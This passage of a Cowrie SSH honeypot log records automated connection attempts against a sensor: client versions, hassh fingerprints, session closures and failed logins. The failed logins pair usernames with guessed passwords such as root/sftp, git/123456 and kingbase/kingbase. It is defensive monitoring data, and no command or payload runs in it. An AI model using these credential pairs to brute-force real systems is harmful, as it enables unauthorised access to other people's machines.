"hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:56.711077Z","src_ip":"67.102.183.113","session":"6764ce1b8eef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sftp","message":"login attempt [root/sftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:57.024861Z","src_ip":"67.102.183.113","session":"6764ce1b8eef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:58.098304Z","src_ip":"67.102.183.113","session":"6764ce1b8eef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":45644,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8fce0af2ce4","protocol":"ssh","message":"New connection: 43.163.119.215:45644 (10.17.0.5:22) [session: d8fce0af2ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:59.213622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:59.218393Z","src_ip":"43.163.119.215","session":"d8fce0af2ce4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:59.456248Z","src_ip":"43.163.119.215","session":"d8fce0af2ce4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.55","src_port":62716,"dst_ip":"159.203.135.109","dst_port":22,"session":"938c921634db","protocol":"ssh","message":"New connection: 205.210.31.55:62716 (159.203.135.109:22) [session: 938c921634db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:59.532833Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:00.170103Z","src_ip":"43.163.119.215","session":"d8fce0af2ce4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:00.506655Z","src_ip":"205.210.31.55","session":"938c921634db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:01.411179Z","src_ip":"43.163.119.215","session":"d8fce0af2ce4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:01.602648Z","src_ip":"205.210.31.55","session":"938c921634db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":56962,"dst_ip":"10.17.0.5","dst_port":22,"session":"601a49bb5d10","protocol":"ssh","message":"New connection: 43.163.119.215:56962 (10.17.0.5:22) [session: 601a49bb5d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:05.173696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:05.180319Z","src_ip":"43.163.119.215","session":"601a49bb5d10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:05.426979Z","src_ip":"43.163.119.215","session":"601a49bb5d10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:08.799771Z","src_ip":"43.163.119.215","session":"601a49bb5d10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":45630,"dst_ip":"10.17.0.5","dst_port":22,"session":"34e2420f11ff","protocol":"ssh","message":"New connection: 43.163.119.215:45630 (10.17.0.5:22) [session: 34e2420f11ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:08.803513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:08.808714Z","src_ip":"43.163.119.215","session":"34e2420f11ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:09.061363Z","src_ip":"43.163.119.215","session":"34e2420f11ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:09.777007Z","src_ip":"43.163.119.215","session":"34e2420f11ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:09.889472Z","src_ip":"205.210.31.55","session":"938c921634db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:10.048123Z","src_ip":"43.163.119.215","session":"601a49bb5d10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":53046,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b42e99ab7b0","protocol":"ssh","message":"New connection: 103.75.199.4:53046 (159.203.135.109:22) [session: 4b42e99ab7b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:10.858624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:10.862501Z","src_ip":"103.75.199.4","session":"4b42e99ab7b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:10.953182Z","src_ip":"103.75.199.4","session":"4b42e99ab7b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:11.017607Z","src_ip":"43.163.119.215","session":"34e2420f11ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:11.225268Z","src_ip":"103.75.199.4","session":"4b42e99ab7b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:12.318308Z","src_ip":"103.75.199.4","session":"4b42e99ab7b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":50550,"dst_ip":"10.17.0.5","dst_port":22,"session":"abaab16a41e4","protocol":"ssh","message":"New connection: 205.209.121.72:50550 (10.17.0.5:22) [session: abaab16a41e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:12.643101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:12.647784Z","src_ip":"205.209.121.72","session":"abaab16a41e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:12.653412Z","src_ip":"205.209.121.72","session":"abaab16a41e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andrea","message":"login attempt [root/andrea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:12.709161Z","src_ip":"205.209.121.72","session":"abaab16a41e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:13.718266Z","src_ip":"205.209.121.72","session":"abaab16a41e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":38246,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ca2d501d39f","protocol":"ssh","message":"New connection: 186.116.56.108:38246 (159.203.135.109:22) [session: 4ca2d501d39f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:15.213256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:15.218431Z","src_ip":"186.116.56.108","session":"4ca2d501d39f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:15.310122Z","src_ip":"186.116.56.108","session":"4ca2d501d39f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:15.713489Z","src_ip":"186.116.56.108","session":"4ca2d501d39f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:16.843940Z","src_ip":"186.116.56.108","session":"4ca2d501d39f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":54634,"dst_ip":"10.17.0.5","dst_port":22,"session":"30a3634127ca","protocol":"ssh","message":"New connection: 43.163.119.215:54634 (10.17.0.5:22) [session: 30a3634127ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:18.414100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:18.419669Z","src_ip":"43.163.119.215","session":"30a3634127ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:18.658221Z","src_ip":"43.163.119.215","session":"30a3634127ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:19.375253Z","src_ip":"43.163.119.215","session":"30a3634127ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:20.616775Z","src_ip":"43.163.119.215","session":"30a3634127ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":51348,"dst_ip":"159.203.135.109","dst_port":22,"session":"28e5ad90618e","protocol":"ssh","message":"New connection: 43.153.46.75:51348 (159.203.135.109:22) [session: 28e5ad90618e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:23.333560Z"}
